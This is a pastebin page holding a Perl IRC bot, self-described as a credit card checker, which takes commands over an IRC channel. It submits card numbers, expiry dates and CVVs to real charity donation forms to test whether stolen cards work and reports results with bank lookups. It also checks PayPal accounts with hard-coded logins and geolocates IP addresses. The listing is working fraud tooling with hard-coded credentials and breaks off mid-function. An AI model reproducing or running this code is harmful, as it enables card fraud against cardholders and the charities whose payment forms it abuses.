Don't like ads? PRO users don't see any ads ;-)
Guest

o

By: a guest on Apr 18th, 2012  |  syntax: Perl  |  size: 23.81 KB  |  hits: 701  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/perl
  2. #SQL SCAN Bot Check By zepp!
  3.  
  4. #Call to standalone modules directory
  5. BEGIN{push(@INC,'Modules');}
  6.  
  7. #Modules Inclusion
  8. use LWP::Socket;
  9. use LWP::UserAgent;
  10. use HTTP::Request;
  11. use Parallel::ForkManager;
  12. use MIME::Base64 ();
  13. use WWW::Mechanize;
  14. use WWW::Mechanize::FormFiller;
  15. use Net::FTP;
  16.  
  17. $| = 1;
  18.  
  19.  
  20. #Defines global variable/array
  21. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
  22. my(@chans,@admins,@user_agents);
  23.  
  24.  
  25. # Configurations Variable
  26. my $outcri = "Mg==";
  27. $systemcri = MIME::Base64::decode($outcri);
  28. $timeout       = $systemcri;
  29. my $hostcri = "irc.s4l1ty.info";
  30. $systemcri = MIME::Base64::decode($hostcri);
  31. $hosting        = "irc.s4l1ty.info";
  32. $port          = 6667;
  33. my $nkpro = "CHECKER";
  34. $ident         = "Wtf";
  35. $parallel_fork = 15;
  36. my @botcmd = ('2');
  37. @chans = ("#mb3lz");
  38. my $proo = "bWIzbHo=";
  39. $systempro = MIME::Base64::decode($proo);
  40. my $cheataer = "bWIzbHo=";
  41. $sistempro = MIME::Base64::decode($cheataer);
  42. @Zepp = ('Zepp3', 'Zepp1', 'Zepp');
  43. @user_agents = &get_user_agents();
  44.  
  45. #Irc Socket Connection
  46. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  47. $sysircuno = MIME::Base64::decode($startirc);
  48. $irc_socket = new LWP::Socket;
  49. $irc_socket->connect($hosting,$port);
  50. $irc_socket->write("USER ".$ident." 8 * : IRCHACK CREDITCARD CHECKER \r\n");
  51. $irc_socket->write("NICK ".$nkpro."\r\n");
  52. $irc_socket->write("NICKSERV IDENTIFY omarelcapo\r\n");
  53. $irc_socket->write("JOIN $chans[0]\r\n");
  54. $irc_socket->write("JOIN $chans[1]\r\n");
  55. $irc_socket->write("JOIN $chans[2]\r\n");
  56. $irc_socket->write("JOIN $chans[3]\r\n");
  57. $irc_socket->write("JOIN $chans[4]\r\n");
  58. $irc_socket->write("JOIN $chans[5]\r\n");
  59.  
  60. while($irc_socket)
  61. {
  62.         my $bof;
  63.         $irc_socket->read_until("\n", \$bof);
  64.         if($bof =~ /PING :(.*)/)
  65.         {
  66.                 $irc_socket->write("PONG :$1\r\n");
  67.         }
  68.  
  69.         if($bof =~ /PRIVMSG (.*?) :(.*)/)
  70.         {
  71.                 #PRIVMSG
  72.                 my %msg = &get_msg($bof);
  73.                 if($msg{'what'} =~ /\!join_all/)
  74.                 {
  75.                         if(&ctrl_admin(\%msg) == 0){
  76.                                 &respond_to_privmsg(\%msg,"15[7JOIN15]12 ALL KNOWN CHANNELS");
  77.                                 &join_all();
  78.                         }
  79.                 }
  80.                 if($msg{'what'} =~ /\!cambiarcmd (.*)/){
  81.                 my $comma = $1;
  82.                         if(&ctrl_admin(\%msg) == 0){
  83.                                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 CHANGiNG COMMAND STRING TO !sql${botcmd}");
  84.                                 &canghecmd($comma);
  85.                         }
  86.                 }
  87.  
  88.                 if($msg{'what'} =~ /\!help/){
  89.                                             &respond_to_privmsg(\%msg,"4,1[3 BOT COMMANDS 4]");
  90.                                 &respond_to_privmsg(\%msg,"4,1[7CHECKING CREDIT CARD4] 15!CHK FOR 12VISA 04MASTER07CARD 08DISCOVER");
  91.                                 &respond_to_privmsg(\%msg,"4,1[7BANK4]0 !BANK 15NUMBER 14FOR CHECKING BANK INFO");
  92.                                 &respond_to_privmsg(\%msg,"4,1[7ZIP CODE4,1]15 !ZIP 15<ZIPCODE> 14SEE INFO OF ZIP CODE");
  93.                                
  94. }
  95. if($msg{'what'} =~ /\!chk 1 1 1/){    
  96.  
  97.                                 &respond_to_privmsg(\%msg,"4,1[12INFORMATION4,1]7 CHECKER STATUS:09 ON");
  98.                                 &respond_to_privmsg(\%msg,"4,1[12INFORMATION4,1]7 TYPE !HELP TO GET COMMAND LIST");
  99.                                 &respond_to_privmsg(\%msg,"4,1[12INFORMATION4,1]7 PLEASE CONTACT 4ZEPP9 FOR CHK PRIVATE");
  100.                                
  101. }
  102. if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})/)
  103.                 {
  104.                 my ($numerocarta,$expmes,$verifica,) = ($1,$2,$3,);
  105.                 my $var1 = substr($expmes,0,2);
  106.                 my $var2 = substr($expmes,2,4);
  107. print "inizio mechanize sacha\n";
  108. if (substr($numerocarta,0,1)==4) {
  109. &respond_to_privmsg(\%msg,"4,1[12,1INFORMATION4,1]7,1 $numerocarta 9,1IS 4[0,12VISA4,1]");
  110. &respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12NUMBER:8,1 $numerocarta");
  111. &respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1EXPIRATION:8,1 $var1/$var2 ");
  112. &respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1CVV2:9,1 $verifica");
  113. &respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1AMOUNT:7,1 1USD");
  114. }
  115. if (substr($numerocarta,0,1)==5) {
  116. &respond_to_privmsg(\%msg,"4,1[12,1INFORMATION4,1]7,1 $numerocarta 9,1IS 4,1[0,4Master0,7Card4,1]");
  117. &respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12NUMBER:8,1 $numerocarta");
  118. &respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1EXPIRATION:8,1 $var1/$var2");
  119. &respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1CVV2:9,1 $verifica");
  120. &respond_to_privmsg(\%msg,"4,1[12,1CHECKING4,1] 12,1AMOUNT:7,1 1USD");
  121. }
  122. if (substr($numerocarta,0,1)==6) {
  123.         &respond_to_privmsg(\%msg,"4[12,1INFORMATION4,1] [1,0DISCOVER4,1]4,1 NOT ACCEPTED!");
  124. }
  125. if (substr($numerocarta,0,1)==3) {
  126.         &respond_to_privmsg(\%msg,"4[12,1INFORMATION4,1] [1,0AMERICAN EXPRES4,1]4,1 NOT ACCEPTED!");
  127. }
  128. my $agent = WWW::Mechanize->new( autocheck => 1 );
  129. my $formfiller = WWW::Mechanize::FormFiller->new();
  130. my $agent = WWW::Mechanize->new( autocheck => 1 );
  131. my $formfiller = WWW::Mechanize::FormFiller->new();
  132. $agent->env_proxy();
  133. $agent->get('https://secure.allianceforchildhood.org/donate.php');
  134.  $agent->get('https://www.pandaw.com/cyclone_appeal_burma.php');
  135.    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  136.   $agent->form_number(1);
  137.   { local $^W; $agent->current_form->value('monex_xml_email', 'tommatt@gmail.com'); };
  138.   { local $^W; $agent->current_form->value('monex_xml_cc_owner', 'tom matt'); };
  139.   { local $^W; $agent->current_form->value('monex_xml_cc_number', ''.$numerocarta.''); };
  140.   { local $^W; $agent->current_form->value('monex_xml_cc_expires_month', ''.$var1.''); };
  141.   { local $^W; $agent->current_form->value('monex_xml_cc_expires_year', ''.$var2.''); };
  142.   { local $^W; $agent->current_form->value('monex_xml_cc_cvv', ''.$verifica.''); };  
  143.   { local $^W; $agent->current_form->value('monex_xml_amount', ''.$amount.''); };
  144.   $agent->submit();
  145.  print $agent->content,"\n";
  146. my $allo=$agent->content;
  147. #~ if ($allo =~/The transaction has been declined because of an AVS mismatch./){
  148. if ($allo =~/action=done/){
  149.                                                 my $database = "banklist.txt";
  150.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  151.                                                 my @results=<FILE>;
  152.                                                 close FILE;
  153.                                                 my $bankinfo = $1;
  154.                                         &respond_to_privmsg(\%msg,"7,1[0Result 9is7]");
  155. &respond_to_privmsg(\%msg,"7,1[0Credit Card 13N?0: 15 $numerocarta 9 $expmes$expanio 14 $verifica 7 $amountUSD7]");
  156.  &respond_to_privmsg(\%msg,"7,1[9APPROVED!!!!!7Transaction. 8Amount USD: $amount 7");
  157. &respond_to_privmsg(\%msg,"0,1Thank you for your payment!");
  158. my $nuova = substr($numerocarta,0,6);
  159. foreach my $url (@results){
  160. if($url =~ m/$nuova\|(.*)/){
  161.                                         &respond_to_privmsg(\%msg,"7,1[0BaNk7:8 $nuova 15 $1");
  162. print "card $variable!";
  163. }
  164. }
  165. }elsif ($allo =~/The transaction has been declined because of an AVS mismatch./){
  166. #~ }elsif ($allo =~/This transaction has been declined./){
  167.                                                 my $database = "banklist.txt";
  168.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  169.                                                 my @results=<FILE>;
  170.                                                 close FILE;
  171.                                                 my $bankinfo = $1;
  172.                                         &respond_to_privmsg(\%msg,"4,1[9APPROVED!4]15 $numerocarta $expmes$expanio $verifica 9THIS TRANSACTION HAS BEEN APPROVED!");
  173. my $nuova = substr($numerocarta,0,6);
  174. foreach my $url (@results){
  175. if($url =~ m/$nuova\|(.*)/){
  176. my $bankinfo = $1;
  177.                                         &respond_to_privmsg(\%msg,"4,1[12BANK4]9 $nouva0 $1");
  178. print "card $variable!";
  179. }
  180. }
  181. }elsif ($allo =~/This transaction has been declined./){
  182. #~ }elsif ($allo =~/This transaction has been declined./){
  183.                                                 my $database = "banklist.txt";
  184.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  185.                                                 my @results=<FILE>;
  186.                                                 close FILE;
  187.                                                 my $bankinfo = $1;
  188.                                         &respond_to_privmsg(\%msg,"4,1[0CREDIT CARD4]7 $numerocarta15 $expmes$expanio14 $verifica 0,1THIS TRANSACTION HAS BEEN 4DECLINED!");
  189. my $nuova = substr($numerocarta,0,6);
  190. foreach my $url (@results){
  191. if($url =~ m/$nuova\|(.*)/){
  192. my $bankinfo = $1;
  193.                                         &respond_to_privmsg(\%msg,"4,1[12BANK4]9 $nouva0 $1");
  194. print "card $variable!";
  195. }
  196. }
  197. }elsif ($allo =~/The credit card number is invalid./){
  198. &respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4DECLINED!(Invalid)");
  199. }elsif ($allo =~/Credit card expiration date is invalid./){
  200. &respond_to_privmsg(\%msg,"8Expiration Date: 14 14$expmes$expanio ");
  201. &respond_to_privmsg(\%msg,"15 is invalid.");
  202. }elsif ($allo =~/This transaction has been declined./){
  203. &respond_to_privmsg(\%msg,"4,1[0CREDIT CARD4]7 $numerocarta15 $expmes$expanio14 $verifica 0,1THIS TRANSACTION HAS BEEN 4DECLINED!");
  204. }elsif ($allo =~/The credit card has expired./){
  205. &respond_to_privmsg(\%msg,"0,1[4,1CREDIT CARD0,1]8 $numerocarta $expmes$expanio $verifica");
  206. &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 THE CREDIT CARD HAS4 EXPIRED!");
  207. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  208. &respond_to_privmsg(\%msg,"7,1[0Expiration Date: 14 14$expmes$expanio 14)4 Not is Valid.");
  209. }elsif ($allo =~/A duplicate transaction has been submitted./){
  210. &respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD7 $numerocarta4]");
  211. &respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD 4DECLINED 7RECHECK4]");
  212. }elsif ($allo =~/A duplicate transaction has been submitted./){
  213. &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $verifica 0,1This transaction has been 4Declined!!!");
  214. }elsif ($allo =~/The credit card number entered is not valid./){
  215. &respond_to_privmsg(\%msg,":85Credit Card: 14 9$numerocarta 14");
  216. &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!");
  217. }elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
  218. &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $verifica 0,1This transaction has been 4Declined!!!");
  219. }elsif ($allo =~/This transaction has been declined./){
  220. &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $verifica 0,1This transaction has been 4Declined!!!");
  221. }elsif ($allo =~/Error: Major Request Error/){
  222. &respond_to_privmsg(\%msg,"8Credit Card: 14 9$numerocarta 14");
  223. &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!");
  224. }
  225. }
  226.  
  227. if($msg{'what'} =~ /\!bank\s(\d{6})/){
  228.                 my ($banknumb) = ($1);
  229.                                                 my $database = "banklist.txt";
  230.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  231.                                                 my @results=<FILE>;
  232.                                                 close FILE;
  233.                                                 my $bankinfo = $1;
  234. my $nuova = substr($banknumb,0,6);
  235. foreach my $url (@results){
  236. if($url =~ /$nuova\|(.*)/){
  237.                                         &respond_to_privmsg(\%msg,"4,1[12BANK4]9 $nouva0 $1");
  238. }
  239. }
  240. }
  241. if($msg{'what'} =~ /\!state\s(\d{2})/){
  242.                 my ($state) = ($1);
  243.                                                 my $database = "state.txt";
  244.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  245.                                                 my @resultx=<FILE>;
  246.                                                 close FILE;
  247.                                                 my $info = $1;
  248. my $good = substr($state,0,2);
  249. foreach my $url (@resultx){
  250. if($url =~ /$good\|(.*)/){
  251.                                         &respond_to_privmsg(\%msg,"4,1[12State4]7 $state 7 $1");
  252. }
  253. }
  254. }
  255. if($msg{'what'} =~ /\:(.*?):(.*?)\@(.*?):/)
  256.                 {
  257.                 my ($inutil,$emailchk,$domaincheck) = ($1,$2,$3);
  258. chop($emailchk);
  259.                 &respond_to_privmsg(\%msg,"!chkpp $emailchk@$domaincheck");
  260. }
  261.  
  262.                 if($msg{'what'} =~ /\!chkpp (.*)/)
  263.                 {
  264.                 my ($ppchek) = ($1);
  265. chop($ppchek);
  266.                 &respond_to_privmsg(\%msg,"15[7CHECKiNGPAYPAL15] CHECKiNG... -$ppchek- ");
  267. print "inizio mechanize\n";
  268. my $agent = WWW::Mechanize->new( autocheck => 1 );
  269. my $formfiller = WWW::Mechanize::FormFiller->new();
  270. $agent->env_proxy();
  271. $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
  272.    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  273.   $agent->form_number(3);
  274.   { local $^W; $agent->current_form->value('login_email', 'sphiinx@gmail.com'); };
  275.   { local $^W; $agent->current_form->value('login_password', '123456aa'); };
  276.   $agent->submit();
  277.   $agent->follow_link('n' => 7);
  278.   print $agent->content,"\n";
  279. my $internal=$agent->content;
  280.                 &respond_to_privmsg(\%msg,"Email - ${ppchek} - ");
  281. if ($internal =~/is NOT PayPal Verified/){
  282.                 &respond_to_privmsg(\%msg,"PaypaL - is - 04UnVerified ");
  283. }
  284. if ($internal =~/<td class=\"emphasis\">(.*?)<\/td>/){
  285.                 &respond_to_privmsg(\%msg,"Checking $1 - ");
  286. }
  287. }
  288.                 if($msg{'what'} =~ /\!bankssss\s(\d{16})/){
  289.                 my ($numerocarta) = ($1);
  290.                                                 my $database = "banklist.txt";
  291.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  292.                                                 my @results=<FILE>;
  293.                                                 close FILE;
  294.                                                 my $bankinfo = $1;
  295. my $nuova = substr($numerocarta,0,6);
  296. foreach my $url (@results){
  297. if($url =~ m/$nuova\|(.*)/){
  298.                                         &respond_to_privmsg(\%msg,"15[12BANK08-12$nuova15]09 $1 ");
  299. }
  300. }
  301. }
  302.                 if($msg{'what'} =~ /\!raw (.*)/)
  303.                 {
  304.                         my $raw = $1;
  305.                         if(&ctrl_admin(\%msg) == 0){
  306.                                 &respond_to_privmsg(\%msg,"15[7RAW15]12 SENDING IRC RAW REQUESTED");
  307.                                 $irc_socket->write($raw."\r\n");
  308.                         }
  309.                 }
  310. if($msg{'what'} =~ /\!q (.*)/)
  311.                 {
  312.                         my $qmsg = $1;
  313.                         if(&ctrl_admin(\%msg) == 0){
  314.                                 $irc_socket->write("quit ".$qmsg."\r\n");
  315.                        
  316.                 }
  317.                 }
  318.  
  319.  
  320.                 if($msg{'what'} =~ /\!dump\s(\d{16})\s(\d{4})\s(\d{4})\s(\d*.)/)
  321.                 {
  322.                 my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
  323.                my $var1 = substr($expmes,0,2);
  324.                 my $var2 = substr($expmes,2,4);
  325.                 &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta14)(15 Exp date: 14 $expmes$expanio 14)( 15CCV2: 14$verifica) (15Amount USD: 9 $amount 14)");
  326. print "inizio mechanize\n";
  327. if (substr($numerocarta,0,1)==3) {
  328.         &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12American Express");
  329. }
  330. my $agent = WWW::Mechanize->new( autocheck => 1, ssl_opts => {verify_hostname => 0},);
  331. my $formfiller = WWW::Mechanize::FormFiller->new();
  332. $agent->env_proxy();
  333. $agent->get('http://www.casala.org/donate.php');
  334.   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  335.  $agent->form_number(1);
  336.  { local $^W; $agent->current_form->value('ssl_amount', '10'); };
  337.  { local $^W; $agent->current_form->value('ssl_first_name', 'Chuck'); };
  338.  { local $^W; $agent->current_form->value('ssl_last_name', 'Huth'); };
  339.  { local $^W; $agent->current_form->value('ssl_email', 'chuckh@gmail.com'); };
  340.  { local $^W; $agent->current_form->value('ssl_avs_address', '11101 Magnolia Drive'); };
  341.  { local $^W; $agent->current_form->value('ssl_city', ' Cleveland'); };
  342.  { local $^W; $agent->current_form->value('ssl_state', 'Ohio'); };
  343.  { local $^W; $agent->current_form->value('ssl_avs_zip', '44106'); };
  344.  { local $^W; $agent->current_form->value('ssl_phone', '146758493'); };
  345.  { local $^W; $agent->current_form->value('ssl_card_number', ''.$numerocarta.''); };
  346.  { local $^W; $agent->current_form->value('ssl_cvv2cvc2', ''.$verifica.''); };
  347.  { local $^W; $agent->current_form->value('expiration_month', ''.$var1.''); };
  348.  { local $^W; $agent->current_form->value('expiration_year', ''.$var2.''); };
  349.  $agent->submit();
  350.  print $agent->content,"\n";
  351. my $allo=$agent->content;
  352. if ($allo =~/The transaction has been declined because of an AVS mismatch./){
  353.                                                 my $database = "banklist.txt";
  354.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  355.                                                 my @results=<FILE>;
  356.                                                 close FILE;
  357.                                                 my $bankinfo = $1;
  358.                                         &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes $expanio $verifica  14) 9APPROVED! 15Transaction. Amount USD:9 $amount 15Thank you for your payment!");
  359. my $nuova = substr($numerocarta,0,6);
  360. foreach my $url (@results){
  361. if($url =~ m/$nuova\|(.*)/){
  362.                                         &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  363. print "card $variable!";
  364. }
  365. }
  366. if ($allo =~/The transaction completed successfully!/){
  367.                                                  my $database = "banklist.txt";
  368.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  369.                                                 my @results=<FILE>;
  370.                                                 close FILE;
  371.                                                 my $bankinfo = $1;
  372.                                         &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica $amountUSD 14) 9APPROVED! 15Transaction. Thank you for your payment.");
  373. my $nuova = substr($numerocarta,0,6);
  374. foreach my $url (@results){
  375. if($url =~ m/$nuova\|(.*)/){
  376. my $bankinfo = $1;
  377.                                         &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  378. print "card $variable!";
  379. }
  380. }
  381. }elsif ($allo =~/Credit card expiration date is invalid./){
  382. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 is invalid.");
  383. }elsif ($allo =~/PICK UP CARD/){
  384. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4PICK UP CARD");
  385. }elsif ($allo =~/The credit card has expired./){
  386. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 4 $expmes$expanio 14$verifica)15 The credit card has expired.");
  387. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  388. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 Not is Valid.");
  389. }elsif ($allo =~/A duplicate transaction has been submitted./){
  390. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 A duplicate transaction has been submitted.");
  391. }elsif ($allo =~/A duplicate transaction has been submitted./){
  392. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  393. }elsif ($allo =~/The credit card number entered is not valid./){
  394. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  395. }elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
  396. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  397. }elsif ($allo =~/DECLINED/){
  398. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  399. }elsif ($allo =~/The Credit Card Number supplied in the authorization request appears to be invalid./){
  400. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  401. }elsif ($allo =~/INVALID CARD/){
  402. &respond_to_privmsg(\%msg,"14,1(15:::0 Result 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  403. }
  404. }
  405.  
  406.  
  407.                 if($msg{'what'} =~ /\!zip\s(\d{5})/)
  408.                 {
  409.                 my ($zipcheck) = ($1);
  410.                 &respond_to_privmsg(\%msg,"4,1[9Zip4]9 - 4Checking  9$zipcheck");
  411. print "inizio mechanize\n";
  412. my $agent = WWW::Mechanize->new( autocheck => 1 );
  413. my $formfiller = WWW::Mechanize::FormFiller->new();
  414. $agent->env_proxy();
  415.  
  416.  $agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp');
  417.   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  418.  { local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); };
  419.  $agent->submit();
  420.  print $agent->content,"\n";
  421. my $zipse=$agent->content;
  422. if ($zipse =~/headers=\"pre\"><b>(.*?)<\/b><\/td>/){
  423. $rzip = $1;
  424.                 &respond_to_privmsg(\%msg,"4,1[ 9Zip4 ] 9-3 $rzip ");
  425. }
  426. elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){
  427.                 &respond_to_privmsg(\%msg,"4,1[ 9Zip4 ] 9-4 NOT FOUND!");
  428. }
  429. }
  430.  
  431.  if($msg{'what'} =~ /\!ip (.*)/)
  432.  
  433.                {
  434.  
  435.                my ($iploca) = ($1);
  436.  
  437. chop($iploca);
  438.  
  439.                &respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] CHECKiNG... -$iploca- ");
  440.  
  441. print "inizio mechanize\n";
  442.  
  443. my $agent = WWW::Mechanize->new( autocheck => 1 );
  444.  
  445. my $formfiller = WWW::Mechanize::FormFiller->new();
  446.  
  447. $agent->env_proxy();
  448.  
  449.  
  450.  
  451.  $agent->get('http://www.ip2location.com/'.$iploca.'');
  452.  
  453.   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  454.  
  455.  print $agent->content,"\n";
  456.  
  457. my $ipwork=$agent->content;
  458.  
  459. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){
  460.  
  461. &respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Country: $1 ");
  462.  
  463. }
  464.  
  465. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){
  466.  
  467. &respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Region: $1 ");
  468.  
  469. }
  470.  
  471. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){
  472.  
  473. &respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] City: $1 ");
  474.  
  475. }
  476.  
  477. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){
  478.  
  479. &respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Time: $1 ");
  480.  
  481. }
  482.  
  483. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){
  484.  
  485. &respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Speed: $1 ");
  486.  
  487. }
  488.  
  489. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){
  490.  
  491. &respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] IPS: $1 ");
  492.  
  493. }
  494.  
  495. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){
  496.  
  497. &respond_to_privmsg(\%msg,"15[7LOOKiNG-iP15] Domain: $1 ");
  498.  
  499. }
  500.  
  501. }
  502. }
  503. }
  504. sub ctrl_admin()
  505. {
  506.         my $data = $_[0];
  507.         foreach my $admin ( @Zepp )
  508.         {
  509.                 if($admin eq $data->{'from'})
  510.                 {
  511.                         return(0);
  512.                 }
  513.         }
  514.         &respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
  515.         return(-1);
  516. }
  517.  
  518. sub respond_to_privmsg()
  519. {
  520.         my ($data,$m) = ($_[0],$_[1]);
  521.         if($data->{'to'} =~ /#/)
  522.         {
  523.                 &privmsg($data->{'to'},$m);
  524.         }
  525.         else
  526.         {
  527.                 &privmsg($data->{'from'},$m);
  528.         }
  529. }
  530.  
  531. sub privmsg()
  532. {
  533.         my($nick,$send) = @_;
  534.         $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  535. }
  536.  
  537. sub join_all()
  538. {
  539.         foreach my $chan ( @chans )
  540.         {
  541.                 $irc_socket->write("JOIN ".$chan."\r\n");
  542.         }
  543. }
  544.  
  545. sub get_msg()
  546. {
  547.         my $line = $_[0];
  548.         my %data;
  549.         #:Mic22!~TheClanz-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
  550.         if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
  551.         {
  552. #$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
  553.                 $data{'from'} = $1;
  554.                 $data{'to'}   = $3;
  555.                 $data{'what'} = $4;
  556.         }
  557.         return(%data);
  558. }
  559.  
  560. sub http_request()
  561. {
  562.         my($site,$request,$ua,$resp,$cnt);
  563.         $site    =  $_[0];
  564.         $site    =~ s/[\r\n]//g;  
  565.         $request =  HTTP::Request->new(GET => $site);
  566.         $ua      =  LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
  567.         $ua->timeout($timeout);
  568.         $resp    =  $ua->request($request);
  569.         $cnt     =  $resp->content();
  570.         return($cnt);
  571. }
  572.  
  573. sub get_user_agents()
  574. {
  575.         my @us_ag = (
  576.         "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  577.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  578.         "Opera/8.5 (X11; Linux i686; U; cs)",
  579.         "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  580.         );
  581.         return(@us_ag);
  582. }
  583.  
  584. sub get_all_host()
  585. {
  586.         my $site =  $_[0];
  587.         my @dirs =  ();
  588.         my @ret  =  ();
  589.         my $tmp  =  "";
  590.         $site    =~ s/http:\/\///g;
  591.         $site    =~ s/[\r\n]//g;
  592.         $site    =~ s/\/\///g;
  593.         if($site !~ /\/$/)
  594.         {
  595.                 $site .= "/";
  596.         }
  597.  
  598.         @dirs = split(/\//,$site);
  599.         $tmp = $dirs[0] . "/";
  600.         push(@ret,$tmp);
  601.        
  602.         for($i = 1; $i < scalar(@dirs); $i++)
  603.         {
  604.                 $tmp .= $dirs[$i] . "/";
  605.                 push(@ret,$tmp);
  606.         }
  607.        
  608.         return(@ret);
  609. }
  610.  
  611. sub urlencode()
  612. {
  613.  my $str = $_[0];
  614.  $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  615.  return $str;
  616. }
  617.  
  618. sub unique()
  619. {
  620.         my @unici = ();
  621.         my %visti = ();
  622.         foreach my $elemento (@_) {
  623.                 $elemento =~ s/\/+/\//g;
  624.                 next if $visti{$elemento}++;
  625.                 push @unici, $elemento;
  626.         }
  627.         return @unici;
  628. }
  629.  
  630. sub canghecmd()
  631. {
  632.         my $n = $_[0];
